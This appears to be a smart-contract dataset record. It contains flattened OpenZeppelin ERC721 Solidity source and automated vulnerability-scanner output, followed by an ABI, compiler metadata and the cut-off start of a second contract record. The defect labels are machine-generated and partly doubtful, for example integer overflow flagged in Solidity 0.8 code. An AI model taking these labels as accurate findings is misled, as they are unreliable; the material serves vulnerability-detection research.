require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["42"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["1188"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["12"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1273", "336", "1295"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["407"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["135", "825", "315", "778", "47", "411", "300", "326", "704"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["633", "657", "687", "688"]}]
[{"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/introspection/IERC165.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1312, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 323, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 610, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 631, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 652, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 655, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 685, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 79, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 83, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 87, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 105, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 272, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 348, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 764, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 797, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 944, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 975, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1006, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1227, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1255, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1326, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1359, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 117, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 120, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 123, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 126, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 289, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 368, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 371, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 374, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 377, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 380, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 383, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1261, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 724, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 1029, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 96, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1244, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 727, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 21, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 296, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 388, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1057, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1057, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1057, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1058, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1058, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1058, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1058, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1060, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1060, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1060, "severity": 1}]
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_initBaseURI","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseExtension","type":"string"}],"name":"setBaseExtension","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newmaxMintAmount","type":"uint256"}],"name":"setmaxMintAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}]
v0.8.3+commit.8d00100c
false
200
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000a582d436f6e736f6c657300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000958434f4e534f4c455300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d6544356377727841677a61446d796d776e7667326f3339365a39487a3834726e7276513643786d55566647672f00000000000000000000
Default
false
LPPoolDelegator
0xcff4cccb3d3d7372855872b3234e16deb237c3b9
Solidity
/* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: SeedRewardPool.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + 